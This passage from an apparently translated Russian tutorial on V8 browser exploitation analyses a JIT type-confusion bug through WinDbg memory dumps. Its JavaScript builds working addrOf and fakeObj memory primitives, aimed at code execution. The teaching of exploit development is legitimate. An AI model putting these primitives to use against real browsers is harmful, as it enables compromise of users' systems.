Сделав это, видим, что свойство b (со значением 43 или 0x2b в шестнадцатеричном виде) находится по смещению 16 массива в хранилище свойств.

Теперь, когда мы проверили структуру нашего объекта, нажмём Go, а затем Shift + F12, чтобы получить вывод модифицированного объекта после срабатывания бага.

DebugPrint: 000000C44E40DAD9: [JS_OBJECT_TYPE]
 - map: 0x02a66658c2f1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x00a318f04229 <Object map = 000002A6665822F1>
 - elements: 0x02c9f8782cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x00c44e40dba9 <NameDictionary[29]> {
   #a: 42 (data, dict_index: 1, attrs: [WEC])
   #b: 43 (data, dict_index: 2, attrs: [WEC])
 }

Мы видим, что после срабатывания бага map объекта изменилась, а хранилище свойств было преобразовано в NamedDictionary размером 29. Проверив структуру объекта в WinDbg, мы убедимся, что адрес хранилища свойств теперь находится в 0x00c44e40dba9.

0:000> dq 000000C44E40DAD9-1 L6
000000c4`4e40dad8  000002a6`6658c2f1 000000c4`4e40dba9
000000c4`4e40dae8  000002c9`f8782cf1 00000000`00000000
000000c4`4e40daf8  000002c9`f8782341 00000005`00000000

Так и есть! Теперь рассмотрим структуру нашего словаря по адресу 0x00c44e40dba9.

0:000> dq 0x00c44e40dba9-1 L12
000000c4`4e40dba8  000002c9`f8783669 0000001d`00000000
000000c4`4e40dbb8  00000002`00000000 00000000`00000000
000000c4`4e40dbc8  00000008`00000000 00000003`00000000
000000c4`4e40dbd8  00000000`00000000 000002c9`f87825a1
000000c4`4e40dbe8  000002c9`f87825a1 000002c9`f87825a1
000000c4`4e40dbf8  000000a3`18f22049 0000002a`00000000
000000c4`4e40dc08  000001c0`00000000 000002c9`f87825a1
000000c4`4e40dc18  000002c9`f87825a1 000002c9`f87825a1
000000c4`4e40dc28  000002c9`f87825a1 000002c9`f87825a1

Изучив структуру словаря по этому адресу, мы видим, что она существенно отличается от структуры объекта FixedArray. Кроме того, мы видим, что значение второго свойства (43, или 0x2b) находится в этой структуре по смещению 88, а значение нашего второго свойства 43, или 0x2b отсутствует в ожидаемом месте. Вероятно, это значение расположено дальше в структуре памяти словаря.

Возможно, вы задаётесь вопросом, что это за странные значения наподобие 000002c9f87825a1 в структуре словаря? На самом деле, словарь является HashMap, использующей хэш-таблицы для сопоставления ключа свойства с местом в хэш-таблице. Странное значение представляет собой хэш-код, ставший результатом применения хэш-функции к ключу.

В начале словаря мы видим, что Map объекта находится по смещению 0, длина словаря (29, или 0x1d) находится по смещению 8, а количество элементов в словаре (2) — по смещению 16.

В данном случае, когда мы выполняем доступ к свойству b, V8 получает доступ к количеству элементов в словаре (которое должно быть равно 2, что подтверждается IR). При запуске этого кода в d8 после срабатывания бага он и в самом деле возвращает 2.

d8> %OptimizeFunctionOnNextCall(vuln)
d8> let obj = {a:42}; obj.b = 43; vuln(obj);
2

Отлично! Мы только что убедились, что наша уязвимость type confusion работает, и что у нас есть определённый контроль над тем, к какому типу данных мы можем получить доступ в словаре, указав свойство. Это позволит нам обойти словарь по 8 байтов на каждое свойство.

Теперь вернёмся к обсуждению степени точности при попытках чтения и записи данных в объект. Как видите, имея два элемента, мы можем лишь прочитать количество элементов в словаре. На самом деле, это не особо полезно, поскольку обычно у нас нет контроля над этой частью структуры, ведь она распределяется автоматически.

Мы стремимся получить доступ на чтение и запись значений свойств в словаре, потому что тогда сможем легко считывать и записывать данные в значение свойства, просто указывая индекс свойств.

Как мы уже видели, свойство, находящееся по смещению 16 в массиве, в словаре находится по смещению 88. Следовательно, если мы прибавим 88/8=11 разных свойств, то сможем читать и записывать наше первое свойство в словаре, выполняя доступ к свойству 10 из хранилища (которое должно находиться на глубине 88 байтов, или 10x8+8 внутри массива).

Это значит, что для каждых N свойств в FixedArray у нас будет достаточное количество пересекающихся свойств в словаре, находящихся по тому же смещению.

Чтобы вам легче было это представить, ниже показан пример дампа памяти FixedArray с 11 свойствами и NameDictionary, имеющим пересекающееся свойство.

   FixedArray                   NameDictionary
000002c9`f8783899             000002c9`f8783669 
0000000E`00000000             0000013F`00000000
00000001`00000000             0000000B`00000000
00000002`00000000             00000000`00000000
00000003`00000000             00000008`00000000 
00000004`00000000             00000003`00000000
00000005`00000000             00000000`00000000
00000006`00000000             000002c9`f87825a1
00000007`00000000             000002c9`f87825a1
00000008`00000000             000002c9`f87825a1
00000009`00000000             000000a3`18f22049
0000000A`00000000   <--!-->   00000001`00000000
0000000B`00000000             000001c0`00000000

Как видно из дампа памяти, при помощи доступа к свойству 10 из FixedArray мы можем получить доступ к значению свойства 1, выполнив баг и преобразовав FixedArray в NameDictionary. По сути, это позволит нам считывать и записывать значение свойства 1 в словаре.

Однако у такого решения есть проблема: структура NameDictionary будет отличаться при каждом исполнении движка из-за распространяющейся на весь процесс случайности, используемой в механизме хэширования для таблиц hash map. В этом можно убедиться, заново запустив proof of concept и изучив структуру словаря после выполнения бага. У вас результаты могут быть другими, но я получил следующий вывод:

0:000> dq 0x025e3e88dba9-1 L12
0000025e`3e88dba8  0000028d`cdf03669 0000001d`00000000
0000025e`3e88dbb8  00000002`00000000 00000000`00000000
0000025e`3e88dbc8  00000008`00000000 00000003`00000000
0000025e`3e88dbd8  00000000`00000000 00000305`8f922061
0000025e`3e88dbe8  0000002b`00000000 000002c0`00000000
0000025e`3e88dbf8  0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc08  0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc18  0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc28  0000028d`cdf025a1 0000028d`cdf025a1

Как видите, свойство b (со значением 43, или 0x2b) теперь находится по смещению 64 в словаре, а свойство a отсутствует в ожидаемом месте. В данном случае, свойство a на самом деле находится по смещению 184. Это значит, что наш предыдущий пример с использованием 11 свойств не сработает.

Хотя свойства не находятся в известном или хотя бы угадываемом порядке, мы всё равно знаем, что с большой вероятностью существует пара свойств P1 и P2, которая рано или поздно пересечётся по одному и тому же смещению. Если мы сможем написать функцию JavaScript для поиска этих пересекающихся свойств, то, по крайней мере, сможем обеспечить какую-то степень точности в чтении и записи новых значений в эти свойства.

Прежде чем писать эту функцию, нам нужно разобраться, сколько свойств необходимо сгенерировать, чтобы найти это пересечение. Из-за отслеживания резервов внутри объектов оптимальное количество быстрых свойств равно 32, поэтому используем это значение в качестве максимума.

Начнём с изменения функциональности нашего proof of concept, создав новую функцию, создающую объект с одним внутренним и 32 внешними свойствами. Код для этой функции будет таким:

function makeObj() {
    let obj = {inline: 1234};
    for (let i = 1; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: -i
        });
    }
    return obj;
}

Стоит отметить, что в функции мы используем отрицательное значение для i. Причина этого в том, что в словаре есть несколько несвязанных небольших положительных значений, например, длина и количество элементов. Если мы используем положительные значения для значений свойств, то есть вероятность получения ложноположительных результатов при поиске пересекающихся свойств, нужно использовать отрицательные числа, чтобы отличать наши свойства от несвязанных с ними значений.

Далее можем начать писать функцию, которая будет искать пересекающиеся свойства. Одно изменение мы внесём в функцию vuln, которая раньше выполняла баг и возвращала свойство b объекта. В данном случае мы хотим возвращать значения всех свойств, чтобы можно было сравнивать их между массивом и словарём.

Для этого можно использовать функцию eval с шаблонными литералами, чтобы всего в нескольких строках кода генерировать все операторы возврата в среде исполнения. Сделать это позволяет следующий код:

function findOverlappingProperties() {
    // Создаём массив со всеми 32 именами свойств вида p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Создаём eval функции, которая будет генерировать код в среде исполнения
    eval(`
    function vuln(obj) {
      obj.inline;
      Object.create(obj);
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)
}

Краткое объяснение на случай, если вам непонятны последние две строки в функции eval: мы используем здесь шаблонные литералы (обратные штрихи) и заполнители, то есть встроенные выражения, разделённые символом доллара и фигурными скобками: ${expression}. Когда мы вызываем функцию vuln в среде исполнения, эти выражения подвергаются строковой интерполяции и выражение заменяется сгенерированной строкой.

В данном случае мы используем функцию map для массива pNames, чтобы создать новый массив строк, который будет приравниваться let p1 = obj.p1. Это позволяет нам генерировать эти строки кода для задания и возврата значений всех свойств в среде исполнения, а не жёстко прописывать всё в коде.

Пример вывода d8 после функции eval выглядит так:

d8> let pNames = []; for (let i = 0; i < 32; i++) {pNames[i] = 'p' + i;}
"p31"
d8> pNames
["p0", "p1", "p2", "p3", "p4", "p5", "p6", "p7", "p8", "p9", "p10", "p11", "p12", "p13", "p14", "p15", "p16", "p17", "p18", "p19", "p20", "p21", "p22", "p23", "p24", "p25", "p26", "p27", "p28", "p29", "p30", "p31"]
d8> pNames.map((p) => `let ${p} = obj.${p};`).join('\n')
let p0 = obj.p0;
let p1 = obj.p1;
let p2 = obj.p2;
let p3 = obj.p3;
let p4 = obj.p4;
let p5 = obj.p5;
...

Теперь, когда у нас есть этот код и мы понимаем, как он работает, можно обновить скрипт proof of concept, добавив в него эти новые функции, а затем выполнить баг и вывести значения для массива и словаря. Обновлённый скрипт будет выглядеть так:

// Создаём объект с одним внутренним и 32 внешними свойствами
function makeObj() {
    let obj = {inline: 1234};
    for (let i = 1; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: -i
        });
    }
    return obj;
}

// Находим пару свойств, у которых p1 хранится по тому же смещению
// в FixedArray, как и p2 в NameDictionary
function findOverlappingProperties() {
    // Создаём массив всех 32 имён функций вида p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Создаём eval нашей функции vuln, которая будет генерировать код в среде исполнения
    eval(`
    function vuln(obj) {
      // Получаем встроенное свойство obj, что приводит к выполнению операции CheckMap
      obj.inline;
      // Принудительно выполняем Map Transition при помощи нашего побочного эффекта
      this.Object.create(obj);
      // Запускаем type confusion, получая доступ к свойствам за границами
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)

    // JIT-код для запуска vuln
    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj());
        // Выводим FixedArray, если i=1, и Dictionary, если i=9999
        if (i == 1 || i == 9999) {
            print(res);
        }
    }
}

print("[+] Finding Overlapping Properties");
findOverlappingProperties();

Когда мы запустим обновлённый скрипт в d8, то должны получить похожие результаты:

C:\dev\v8\v8\out\x64.debug>d8 C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties
,-1,-2,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-17,-18,-19,-20,-21,-22,-23,-24,-25,-26,-27,-28,-29,-30,-31
,32,0,64,33,0,,,,p13,-13,3824,,,,p17,-17,4848,inline,1234,448,,,,p29,-29,7920,,,,p19,-19

Отлично! Наша уязвимость type confusion работает, и мы можем выполнять утечку данных из словаря. Судя по выводу, мы видим, что есть несколько пересекающихся свойств, например, p10 пересекается с p13 (обратите внимание на отрицательные значения).

Теперь, когда мы убедились, что этот код работает и пересекающиеся свойства существуют, можно изменить скрипт так, чтобы он перечислял результаты и выбирал пересекающееся свойство, значение которого меньше 0 и больше -32. Также давайте удалим свойства, которые пересекаются сами с собой.

Дополненный код будет выглядеть так:

// Функция, создающая объект с одним внутренним и 32 внешними свойствами
function makeObj() {
    let obj = {inline: 1234};
    for (let i = 1; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: -i
        });
    }
    return obj;
}

// Функция, находящая пару свойств, в которых p1 по тому же смещению
// в FixedArray, что и p2 в NameDictionary
let p1, p2;

function findOverlappingProperties() {
    // Создаём массив из всех 32 имён свойств вида p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Создаём eval нашей функции vuln, которая будет генерировать код в среде исполнения
    eval(`
    function vuln(obj) {
      // Получаем встроенное свойство obj, что приводит к выполнению операции CheckMap
      obj.inline;
      // Принудительно выполняем Map Transition при помощи нашего побочного эффекта
      this.Object.create(obj);
      // Запускаем type confusion, получая доступ к свойствам за границами
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)

    // JIT-код для запуска vuln
    for (let i = 0; i < 10000; i++) {
        // Создаём объект и передаём его функции Vuln
        let res = vuln(makeObj());
        // Ищем в результатах пересекающиеся свойства
        for (let i = 1; i < res.length; i++) {
            // Если i является неодинаковым, а res[i] находится в интервале от -32 до 0, они пересекаются
            if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
                [p1, p2] = [i, -res[i]];
                return;
            }
        }
    }
    throw "[!] Failed to find overlapping properties";
}

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

Если мы снова запустим дополненный код в d8, то увидим, что можем стабильно находить пересекающиеся свойства.

C:\dev\v8\v8\out\x64.debug>d8 C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p7 and p12 overlap!

Разбираемся с примитивами эксплойтинга браузеров


Итак, теперь мы можем эксплойтить баг, чтобы запустить уязвимость type confusion. А еще выявили пересекающиеся свойства, которые можем использовать для чтения и записи данных. Внимательные читатели могли заметить, что пока мы можем читать только SMI и строки. По сути, простое считывание целых чисел или строк бесполезно, нам нужно найти способ читать и записывать указатели памяти.

Чтобы достичь этого, нам нужно создать примитивы чтения и записи, называющиеся примитивами addrOf и fakeObj. Они позволят нам выполнять эксплойтинг пересекающихся свойств, выдавая объект одного типа за объект другого типа.

Для создания таких примитивов мы можем использовать полученную type confusion и то, как Maps работает с устранением избыточности в JIT, создав нашу собственную глобальную уязвимость type confusion для любого произвольного значения на выбор!

Как вы помните из первой и второй частей, мы обсуждали Map и BinaryOp, а также Feedback Lattice. Как мы знаем, Map хранят информацию о типах для свойств, а BinaryOp хранит потенциальные состояния типов для свойств во время JIT-компиляции.

Для примера возьмём следующий код:

function test(obj) {
  return obj.b.x;
}

let obj = {};
obj.a = 13;
obj.b = {x: 14};

После исполнения этого кода в V8 Map объекта obj, покажет нам, что он имеет свойство a, являющееся SMI, и свойство b, являющееся объектом со свойством x, также являющимся SMI.

Если мы принудительно подвергнем эту функцию JIT, то проверка Map для b будет пропущена, поскольку будут сделаны спекулятивные предположения о том, что свойство b всегда будет объектом с конкретной Map, что позволяет устранению избыточности убрать проверку. Если эта информация о типах становится недействительной, например, при добавлении свойства или превращении значения в double, то распределяется новая Map, а в BinaryOp будет добавлена информация о типах для SMI и Double.

Благодаря этому становится возможным использовать этот сценарий вместе с нашими пересекающимися свойствами для создания мощного примитива эксплойта, который станет основой примитивов чтения и записи.

Пример этого кода с комментариями, который можно использовать как основу для примитивов, показан ниже.

eval(`
  function vuln(obj) {
    // Получаем встроенное свойство obj, что приводит к выполнению операции CheckMap
    obj.inline;
    // Принудительно выполняем Map Transition при помощи нашего побочного эффекта
    this.Object.create(obj);
    // Запускаем type confusion, получая доступ к свойствам за границами
      // При этом будет загружено p1 из нашего объекта, считающееся ObjX, но вместо этого
      // из-за бага и пересекающихся свойств будет загружено p2, то есть ObjY
    let p = obj.${p1}.x;
    return p;
  }
`)

let obj = makeObj();
obj[p1] = {x: ObjX};
obj[p2] = {y: ObjY};
vuln(obj)

Как видите, p1 и p2 — это пересекающиеся свойства после того, как наш массив был преобразован в словарь. Благодаря тому, что p1 присвоен Object X, а p2 присвоен Object Y, при JIT-компиляции функции vuln компилятор будет предполагать, что переменная p будет иметь тип Object X, поскольку Map объекта obj опускает проверки типов.

Однако из-за первоначальной уязвимости type confusion, которую мы эксплойтим, на самом деле код будет считывать свойство p2 и получать Object Y. В этом случае, движок будет представлять Object Y как Object X, вызывая ещё одну type confusion.

Благодаря использованию созданной нами глобальной type confusion, мы можем создавать примитивы чтения и записи, чтобы осуществлять утечку адресов объектов и выполнять запись в произвольные поля объектов.

Примитив чтения addrOf


Название примитива addrOf расшифровывается как «Address Of», и он работает в соответствии со своим названием. Он позволяет нам обеспечить утечку указателя адреса конкретного объекта при помощи созданной нами type confusion.

Как показано в примере выше, мы можем создать глобальную уязвимость type confusion, воспользовавшись нашими пересекающимися свойствами и тем, как Map хранят информацию о типах, позволяя нам представить вывод Object Y как Object X. То есть вопрос заключается в том, как нам использовать этот сценарий, чтобы осуществить утечку адреса памяти.

Мы не можем просто передать два объекта и вернуть объект, поскольку они имеют одинаковый shape. Если мы это сделаем, то V8 просто разыменует объект и вернёт тип объекта или свойства объекта.

Ниже показан пример того, что мы увидим:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p24 and p21 overlap!
[+] Leaking Object Address...
[+] Object Address: [object Object]

Как видите, возвращаемое значение [object Object] для нас бесполезно. Вместо этого нам нужно вернуть объект, но в качестве другого типа.

В данном случае мы можем создать примитив чтения type confusion, сделав Object X Double! Таким образом, когда мы вызовем p1, оно будет ожидать значение double, а поскольку p1 на самом деле возвращает p2 (являющееся указателем объекта), а не разыменовывает указатель, то оно вернёт его как число double с плавающей запятой!

Давайте посмотрим на это в действии. Мы можем изменить приведённый выше пример кода, чтобы создать функцию addrOf, сменив Object X на double и оставив Object Y объектом.

Функция будет выглядеть так:

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      return obj.p${p1}.x;
    }
  `);

    let obj = makeObj()
    obj[p1] = {x: 13.37};
    obj[p2] = {y: obj};
    vuln(obj); // Возвращает адрес obj как Double
}

Как видите, мы задали p1 как double со значением 13.37 и задали Object Y как объект, создаваемый из функции makeObj.

После запуска уязвимости через функцию vuln, движок предполагает, что возвращаемое obj.p1.x значение будет являться double, но вместо этого оно загрузит указатель в объект p2 и вернёт его как double.

Благодаря этому мы сможем организовать утечку адреса объектов, однако у нас есть небольшая проблема с функцией makeObj. На данный момент функция makeObj создаёт наш объект с одним внутренним и 32 внешними свойствами.

Как вы можете помнить, все эти 32 внешних свойства являются отрицательными числами, которые мы использовали, чтобы избежать ложноположительных результатов при поиске пересекающихся свойств. Хотя это не вызывает сложностей, более серьёзная проблема заключается в том, что после нахождения пересекающихся свойств нам нужно иметь возможность модифицировать эти конкретные индексы свойств в хранилище нашего массива, чтобы при выполнении преобразования в словарь мы могли эксплойтить type confusion с точностью.

На данный момент это невозможно по причинам, объяснённым ниже.

Если после создания нашего объекта мы попробуем изменять его свойства по конкретному индексу, они будут добавляться или в начало, или в конец массива свойств. Кроме того, мы не можем просто изменить именованное свойство через его имя pN, поскольку оно не задано.

Пример этого показан ниже.

d8> let obj = {p1:1, p2:2, p3:3};
d8> obj[12] = 12;
d8> obj
{12: 12, p1: 1, p2: 2, p3: 3}
d8> obj[p3] = 12
(d8):1: ReferenceError: p3 is not defined
obj[p3] = 12
    ^

Чтобы задавать наши объекты точно там, где нам нужно, необходимо создать массив свойств, который будет передаваться объекту при создании. Благодаря этому при помощи индекса из p1 и p2 мы сможем создать разреженный массив свойств, который позволит нам с точностью задавать объекты.

Пример этого показан ниже:

d8> let obj = [];
d8> obj[7] = 7;
d8> obj[12] = 12;
d8> obj
[, , , , , , , 7, , , , , 12]

Для этого изменим функцию makeObj так, чтобы она принимала массив pValues в качестве свойств и присваивала pValues[i] как значение:

// Функция, создающая объект с одним внутренним и 32 внешними свойствами
function makeObj(pValues) {
    let obj = {inline: 1234};
    for (let i = 0; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: pValues[i]
        });
    }
    return obj;
}

Сделав это, мы можем изменить функцию addrOf. Начнём с добавления нового массива pValues, а затем присвоим p1 объект со значением double, а p2 присвоим специально созданный объект.

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      return obj.p${p1}.x;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            %DebugPrint(obj);
            return res;
        }
    }
}

Как видите, наш цикл JIT будет вызывать makeObj для создания объекта со свойствами p1 и p2, а затем передавать его функции vuln, чтобы запустить type confusion. Оператор if проверяет, не равны ли возвращаемые функцией vuln результаты 13.37. Если не равны, это значит, мы успешно запустили нашу type confusion и считали указатель адреса obj.

Поскольку мы выполняем тестирование, я также добавил оператор %DebugPrint, чтобы выводить адрес obj. Это позволит нам удостовериться, что возвращаемые данные и в самом деле являются адресом.

Скрипт эксплойта теперь выглядит, как показано ниже. Стоит заметить, что в этом тестовом случае я просто добавил вызов addrOf, который будет эксплойтить пересекающиеся свойства, чтобы осуществить утечку адреса объекта, жёстко заданного в функции.

Также обратите внимание на то, что я изменил функцию findOverlappingProperties, добавив в неё массив pValues для отрицательных значений. Это было сделано в поддержку изменения, внесённого в функцию makeObj.

// Функция, создающая объект с одним внутренним и 32 внешними свойствами
function makeObj(pValues) {
    let obj = {inline: 1234};
    for (let i = 0; i < 32; i++) {
        Object.defineProperty(obj, 'p' + i, {
            writable: true,
            value: pValues[i]
        });
    }
    return obj;
}
// Функция, находящая пару свойств, в которых p1 по тому же смещению
// в FixedArray, что и p2 в NameDictionary
let p1, p2;

function findOverlappingProperties() {
    // Создаём массив всех 32 имён свойств вида p1..p32
    let pNames = [];
    for (let i = 0; i < 32; i++) {
        pNames[i] = 'p' + i;
    }

    // Создаём eval функции vuln, которая будет генерировать код в среде исполнения
    eval(`
    function vuln(obj) {
      // Получаем встроенное свойство obj, что приводит к выполнению операции CheckMap
      obj.inline;
      // Принудительно выполняем Map Transition при помощи нашего побочного эффекта
      this.Object.create(obj);
      // Запускаем type confusion, получая доступ к свойствам за границами
      ${pNames.map((p) => `let ${p} = obj.${p};`).join('\n')}
      return [${pNames.join(', ')}];
    }
  `)

    // Создаём массив отрицательных значений от -1 до -32, которые будут
    // использовался для функции makeObj
    let pValues = [];
    for (let i = 1; i < 32; i++) {
        pValues[i] = -i;
    }

    // JIT-код для запуска vuln
    for (let i = 0; i < 10000; i++) {
        // Создаём объект и передаём его функции Vuln
        let res = vuln(makeObj(pValues));
        // Ищем пересекающиеся свойства в результатах
        for (let i = 1; i < res.length; i++) {
            // Если i не является тем же значением, и res[i] находится в интервале от -32 до 0, оно пересекается
            if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
                [p1, p2] = [i, -res[i]];
                return;
            }
        }
    }
    throw "[!] Failed to find overlapping properties";
}

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Запускаем type confusion, выполняя доступ к свойству за границами
        // Это загрузит p1 из нашего объекта, думая, что это Double, но
        // вместо этого из-за пересечения это загрузит p2, которое является объектом
      return obj.p${p1}.x;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            %DebugPrint(obj);
            return res;
        }
    }
    throw "[!] AddrOf Primitive Failed"
}

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);
let x = addrOf();
print("[+] Leaking Object Address...");
print(`[+] Object Address: ${x}`);

Сделав это, можно исполнить дополненный скрипт в d8 и получить схожий результат:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p7 overlap!
DebugPrint: 000001E72E81A369: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x005245541631 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x00bfad784229 <Object map = 00000052455022F1>
 - elements: 0x0308c8602cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0308c8602cf1 <FixedArray[0]> {
    #z: 1234 (data field 0)
 }
0000005245541631: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 32
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x00524550c201 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x0379e0b82201 <Cell value= 1>
 - instance descriptors (own) #1: 0x01e72e80f339 <DescriptorArray[5]>
 - layout descriptor: 0000000000000000
 - prototype: 0x00bfad784229 <Object map = 00000052455022F1>
 - constructor: 0x00bfad784261 <JSFunction Object (sfi = 00000379E0B8ED51)>
 - dependent code: 0x0308c8602391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[+] Leaking Object Address...
[+] Object Address: 1.033797443889e-311

Как видите, функция addrOf возвратила значение double с плавающей запятой! Теперь нужно преобразовать это значение в реальный адрес, чтобы мы могли убедиться в его корректности.

Для этого можно использовать TypedArray, которые позволяют описывать массивоподобные структуры внутреннего буфера двоичных данных. Так как возвращаемые данные являются значением с плавающей запятой двойной точности, можно использовать Float64Array, чтобы сохранить double в двоичном формате следующим образом:

d8> let floatView = new Float64Array(1);
d8> floatView[0] = 1.033797443889e-311

Сделав это, мы можем преобразовать буфер floatView в 64-битное беззнаковое integer при помощи BigUint64Array, что даст нам байтовое представление адреса объекта.

d8> let uint64View = new BigUint64Array(floatView.buffer);
d8> uint64View[0]
2092429321065n

После этого достаточно использовать функцию toString по основанию 16, чтобы преобразовать байты в шестнадцатеричный вид, что должно дать нам действительный адрес.

d8> uint64View[0].toString(16)
"1e72e81a369"

Как мы видим, после преобразования байтов в шестнадцатеричный вид значение, утёкшее благодаря примитиву addrOf, соответствует адресу объекта, то есть 000001E72E81A369!

Итак, теперь у нас есть работающий примитив addrOf!

Далее достаточно всего лишь внести небольшое изменение в функцию addrOf. Нужно вычесть 1n из BigUint64Array, чтобы учесть маркировку указателей, если мы хотим использовать этот адрес дальше в скрипте.

Функция addrOf с буферами преобразований теперь выглядит так:

// Буферы преобразований
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);

Number.prototype.toBigInt = function toBigInt() {
    floatView[0] = this;
    return uint64View[0];
};

...

function addrOf() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Запускаем type confusion, выполняя доступ к свойству за границами
        // Это загрузит p1 из нашего объекта, которое считается Double, но
        // вместо этого из-за пересечения это загрузит p2, которое является объектом
      return obj.p${p1}.x;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            // Вычитаем из адреса 1n из-за маркировки указателей.
            return res.toBigInt() - 1n;
        }
    }
    throw "[!] AddrOf Primitive Failed"
}

Примитив записи fakeObj


Примитив fakeObj (сокращение от «Fake Object») позволяет нам записывать данные в фальшивый объект при помощи эксплойтинга созданной нами type confusion. По сути, примитив записи просто обратен примитиву addrOf.

Для создания функции fakeObj мы просто вносим небольшое изменение в исходную функцию addrOf. В функции fakeObj мы будем сохранять исходное значение объекта в переменную orig. После её перезаписи мы возвращаем исходное значение и сравниваем его в JIT-функции.

Для тестирования мы попробуем переписать свойство x в p1 значением double 0x41414141n. Когда в JIT-коде сработает баг, из-за type confusion это перепишет свойство y в p2. Если нам успешно удастся повредить значение и позже вернуть её при помощи параметра orig, оно больше не будет равно 13.37.

Функция fakeObj будет выглядеть так:

function fakeObj() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      let orig = obj.p${p1}.x;
      // Перезаписываем свойство x в p1, но из-за type confusion
      // мы перезаписываем свойство y в p2
      obj.p${p1}.x = 0x41414141n;
      return orig;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            return res;
        }
    }
}

Дополнив наш код новым примитивом fakeObj и выполнив его в d8, мы должны получить похожий вывод:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p30 overlap!
[+] Leaking Object Address...
[+] Object Address: 0x21eacf99a08
[+] Corrupting Object Address...
[+] Leaked Data: 1094795585

Похоже, мы получили какие-то данные, но они не равны 13.37!

Они похожи на беззнаковый integer, поэтому мы можем использовать буфер массива uint64View для сохранения значения, а затем преобразовать байты в шестнадцатеричные значения.

d8> uint64View[0] = 1094795585n
d8> uint64View[0].toString(16)
'41414141'

Вот и всё! Мы успешно перезаписали свойство y в p2 и успешно создали действующий примитив записи!

Это очень мощный примитив, ведь, по сути, он позволяет нам выполнять запись в любое свойство объекта, адрес которого мы можем найти. Исходя из этого, мы можем начать создавать более сложные примитивы эксплойтов, чтобы в конечном итоге добиться исполнения кода.

Получаем возможность чтения + записи памяти


Создав на основе бага работающие примитивы чтения и записи, мы можем использовать эти примитивы для получения возможности удалённого исполнения кода в интерпретаторе. На данный момент мы можем только перезаписывать свойство второго объекта контролируемым double. Однако для нас это совершенно бесполезно.

Причина в том, что даже несмотря на то, что мы можем перезаписывать адрес объекта в свойстве, если попытаться получить доступ к этому адресу для записи данных, то V8 всё равно попытается разыменовать его и получать доступ к указателю хранилища по смещению 8 от этого адреса. Это усложняет чтение или запись в любой выбранный нами адрес.

